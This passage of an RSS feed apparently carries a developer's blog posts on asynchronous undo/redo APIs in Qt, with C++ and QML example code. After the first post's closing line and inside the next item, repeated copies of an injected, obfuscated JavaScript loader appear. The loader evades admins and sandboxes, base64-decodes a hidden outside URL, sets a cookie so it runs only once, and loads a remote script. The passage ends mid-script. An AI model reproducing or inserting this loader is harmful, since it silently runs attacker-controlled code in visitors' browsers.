            watcher<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>setFuture <span style='color:#808030; '>(</span> m_editorBehavior<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>performRedo<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#800080; '>}</span>
    <span style='color:#800080; '>}</span>
<span style='color:#800000; font-weight:bold; '>signals</span><span style='color:#e34adc; '>:</span>
    <span style='color:#800000; font-weight:bold; '>void</span> example1Finished<span style='color:#808030; '>(</span> AsyncExample1Status <span style='color:#808030; '>*</span>status <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>void</span> undoFinished<span style='color:#808030; '>(</span> AbstractAsyncStatus <span style='color:#808030; '>*</span>status <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>void</span> redoFinished<span style='color:#808030; '>(</span> AbstractAsyncStatus <span style='color:#808030; '>*</span>status <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
<span style='color:#800000; font-weight:bold; '>private slots</span><span style='color:#e34adc; '>:</span>
    <span style='color:#800000; font-weight:bold; '>void</span> onExample1Finished<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
        <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> <span style='color:#808030; '>*</span>watcher <span style='color:#808030; '>=</span>
                <span style='color:#800000; font-weight:bold; '>dynamic_cast</span><span style='color:#800080; '>&lt;</span><span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span><span style='color:#808030; '>*</span><span style='color:#800080; '>></span> <span style='color:#808030; '>(</span>sender<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#800000; font-weight:bold; '>emit</span> example1Finished<span style='color:#808030; '>(</span> watcher<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>result<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#808030; '>.</span>objectCast<span style='color:#800080; '>&lt;</span>AsyncExample1Status<span style='color:#800080; '>></span><span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#808030; '>.</span>data<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        watcher<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>deleteLater<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>
    <span style='color:#800000; font-weight:bold; '>void</span> onUndoFinished<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
        <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> <span style='color:#808030; '>*</span>watcher <span style='color:#808030; '>=</span>
                <span style='color:#800000; font-weight:bold; '>dynamic_cast</span><span style='color:#800080; '>&lt;</span><span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span><span style='color:#808030; '>*</span><span style='color:#800080; '>></span> <span style='color:#808030; '>(</span>sender<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#800000; font-weight:bold; '>emit</span> undoFinished<span style='color:#808030; '>(</span> watcher<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>result<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#808030; '>.</span>objectCast<span style='color:#800080; '>&lt;</span>AbstractAsyncStatus<span style='color:#800080; '>></span><span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#808030; '>.</span>data<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        watcher<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>deleteLater<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>
    <span style='color:#800000; font-weight:bold; '>void</span> onRedoFinished<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
        <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span> <span style='color:#808030; '>*</span>watcher <span style='color:#808030; '>=</span>
                <span style='color:#800000; font-weight:bold; '>dynamic_cast</span><span style='color:#800080; '>&lt;</span><span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span>AsyncStatusPointer<span style='color:#800080; '>></span><span style='color:#808030; '>*</span><span style='color:#800080; '>></span> <span style='color:#808030; '>(</span>sender<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#800000; font-weight:bold; '>emit</span> redoFinished<span style='color:#808030; '>(</span> watcher<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>result<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#808030; '>.</span>objectCast<span style='color:#800080; '>&lt;</span>AbstractAsyncStatus<span style='color:#800080; '>></span><span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#808030; '>.</span>data<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        watcher<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>deleteLater<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>
<span style='color:#800000; font-weight:bold; '>private</span><span style='color:#e34adc; '>:</span>
    QScopedPointer<span style='color:#800080; '>&lt;</span>AbstractEditorBehavior<span style='color:#800080; '>></span> m_editorBehavior<span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span><span style='color:#800080; '>;</span>
</pre>
<p>Okay, let&#8217;s register this up to make it known in QML and make ourselves a main function (<a href="https://github.com/pvanhoof/asyncundoable/blob/master/main.cpp">main.cpp</a>).</p>
<pre style='color:#000000;background:#ffffff;'><span style='color:#004a43; '>#</span><span style='color:#004a43; '>include </span><span style='color:#800000; '>&lt;</span><span style='color:#40015a; '>QtQml</span><span style='color:#800000; '>></span>
<span style='color:#004a43; '>#</span><span style='color:#004a43; '>include </span><span style='color:#800000; '>&lt;</span><span style='color:#40015a; '>QGuiApplication</span><span style='color:#800000; '>></span>
<span style='color:#004a43; '>#</span><span style='color:#004a43; '>include </span><span style='color:#800000; '>&lt;</span><span style='color:#40015a; '>QQmlApplicationEngine</span><span style='color:#800000; '>></span>
<span style='color:#004a43; '>#</span><span style='color:#004a43; '>include </span><span style='color:#800000; '>&lt;</span><span style='color:#40015a; '>editor.h</span><span style='color:#800000; '>></span>
<span style='color:#800000; font-weight:bold; '>int</span> <span style='color:#400000; '>main</span><span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>int</span> argc<span style='color:#808030; '>,</span> <span style='color:#800000; font-weight:bold; '>char</span> <span style='color:#808030; '>*</span>argv<span style='color:#808030; '>[</span><span style='color:#808030; '>]</span><span style='color:#808030; '>)</span>
<span style='color:#800080; '>{</span>
    QGuiApplication app<span style='color:#808030; '>(</span>argc<span style='color:#808030; '>,</span> argv<span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    QQmlApplicationEngine engine<span style='color:#800080; '>;</span>
    qmlRegisterType<span style='color:#800080; '>&lt;</span>Editor<span style='color:#800080; '>></span><span style='color:#808030; '>(</span><span style='color:#800000; '>"</span><span style='color:#0000e6; '>be.codeminded.asyncundo</span><span style='color:#800000; '>"</span><span style='color:#808030; '>,</span> <span style='color:#008c00; '>1</span><span style='color:#808030; '>,</span> <span style='color:#008c00; '>0</span><span style='color:#808030; '>,</span> <span style='color:#800000; '>"</span><span style='color:#0000e6; '>Editor</span><span style='color:#800000; '>"</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    engine<span style='color:#808030; '>.</span>load<span style='color:#808030; '>(</span><span style='color:#603000; '>QUrl</span><span style='color:#808030; '>(</span>QStringLiteral<span style='color:#808030; '>(</span><span style='color:#800000; '>"</span><span style='color:#0000e6; '>qrc:/main.qml</span><span style='color:#800000; '>"</span><span style='color:#808030; '>)</span><span style='color:#808030; '>)</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>return</span> app<span style='color:#808030; '>.</span>exec<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span>
</pre>
<p>Now, let&#8217;s make ourselves a simple QML UI to use this with (<a href="https://github.com/pvanhoof/asyncundoable/blob/master/main.qml">main.qml</a>).</p>
<pre style='color:#000000;background:#ffffff;'><span style='color:#800000; font-weight:bold; '>import</span> QtQuick <span style='color:#008000; '>2.3</span>
<span style='color:#800000; font-weight:bold; '>import</span> QtQuick<span style='color:#808030; '>.</span>Window <span style='color:#008000; '>2.2</span>
<span style='color:#800000; font-weight:bold; '>import</span> QtQuick<span style='color:#808030; '>.</span>Controls <span style='color:#008000; '>1.2</span>
<span style='color:#800000; font-weight:bold; '>import</span> be<span style='color:#808030; '>.</span>codeminded<span style='color:#808030; '>.</span>asyncundo <span style='color:#008000; '>1.0</span>
Window <span style='color:#800080; '>{</span>
    visible<span style='color:#800080; '>:</span> <span style='color:#0f4d75; '>true</span>
    width<span style='color:#800080; '>:</span> <span style='color:#008c00; '>360</span>
    height<span style='color:#800080; '>:</span> <span style='color:#008c00; '>360</span>
    Editor <span style='color:#800080; '>{</span>
        id<span style='color:#800080; '>:</span> editor
        onUndoFinished<span style='color:#800080; '>:</span> text<span style='color:#808030; '>.</span>text <span style='color:#808030; '>=</span> <span style='color:#800000; '>"</span><span style='color:#0000e6; '>undo</span><span style='color:#800000; '>"</span>
        onRedoFinished<span style='color:#800080; '>:</span> text<span style='color:#808030; '>.</span>text <span style='color:#808030; '>=</span> <span style='color:#800000; '>"</span><span style='color:#0000e6; '>redo</span><span style='color:#800000; '>"</span>
        onExample1Finished<span style='color:#800080; '>:</span> text<span style='color:#808030; '>.</span>text <span style='color:#808030; '>=</span> <span style='color:#800000; '>"</span><span style='color:#0000e6; '>whoohoo </span><span style='color:#800000; '>"</span> <span style='color:#808030; '>+</span> status<span style='color:#808030; '>.</span>example1
    <span style='color:#800080; '>}</span>
    Text <span style='color:#800080; '>{</span>
        id<span style='color:#800080; '>:</span> text
        text<span style='color:#800080; '>:</span> qsTr<span style='color:#808030; '>(</span><span style='color:#800000; '>"</span><span style='color:#0000e6; '>Hello World</span><span style='color:#800000; '>"</span><span style='color:#808030; '>)</span>
        anchors<span style='color:#808030; '>.</span>centerIn<span style='color:#800080; '>:</span> parent
    <span style='color:#800080; '>}</span>
    Action <span style='color:#800080; '>{</span>
        shortcut<span style='color:#800080; '>:</span> <span style='color:#800000; '>"</span><span style='color:#0000e6; '>Ctrl+z</span><span style='color:#800000; '>"</span>
        onTriggered<span style='color:#800080; '>:</span> editor<span style='color:#808030; '>.</span>undoAsync<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span>
    <span style='color:#800080; '>}</span>
    Action <span style='color:#800080; '>{</span>
        shortcut<span style='color:#800080; '>:</span> <span style='color:#800000; '>"</span><span style='color:#0000e6; '>Ctrl+y</span><span style='color:#800000; '>"</span>
        onTriggered<span style='color:#800080; '>:</span> editor<span style='color:#808030; '>.</span>redoAsync<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span>
    <span style='color:#800080; '>}</span>
    Button  <span style='color:#800080; '>{</span>
        onClicked<span style='color:#800080; '>:</span> editor<span style='color:#808030; '>.</span>example1Async<span style='color:#808030; '>(</span><span style='color:#008c00; '>99</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>
<span style='color:#800080; '>}</span>
</pre>
<p>You can find <a href="https://github.com/pvanhoof/asyncundoable">the sources of this complete example at github</a>. Enjoy!</p>
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e73691c2d70398369111e7b885c37be445a54aa54a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e73691c2d70398369111e7b885c37be445a54aa54a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e73691c2d70398369111e7b885c37be445a54aa54a&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e73691c2d70398369111e7b885c37be445a54aa54a/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Thu, 11 May 2017 20:09:25 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e73691c2d70398369111e7b885c37be445a54aa54a</guid>
        </item>
        <item>
            <title>Asynchronous undoable and redoable APIs</title>
            <link>https://pvanhoof.be/blog/index.php/2017/04/13/asynchronous-undoable-and-redoable-apis</link>
            <description><![CDATA[
<p>Combining <a href="http://doc.qt.io/qt-5/qfuture.html">QFuture</a> with <a href="http://doc.qt.io/qt-5/qundocommand.html">QUndoCommand</a> made a lot of sense for us. The undo and the redo methods of the QUndoCommand can also be asynchronous, of course. We wanted to use QFuture without involving threads, because our asynchronosity is done through a process and IPC, and not a thread. It&#8217;s <strong>the</strong> design mistake of <a href="http://doc.qt.io/qt-5/qtconcurrent.html">QtConcurrent</a>&#8216;s run method, in my opinion. That meant using QFutureInterface instead (which is undocumented, but luckily public &#8211; so it&#8217;ll remain with us until at least Qt&#8217;s 6.y.z releases).</p>
<p>So how do we make a QUndoCommand that has a undo, and that has a redo method that returns a asynchronous QFuture&lt;ResultType&gt;?</p>
<p>We just did that, today. I&#8217;m very satisfied with the resulting API and design. It might have helped if <a href="http://doc.qt.io/qt-5/qundostack.html">QUndoStack</a> would be a QUndoStack&lt;T&gt; and QUndoCommand would have been a QUndoCommand&lt;T&gt; with undo and redo&#8217;s return type being T. Just an idea for the Qt 6.y.z developers.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 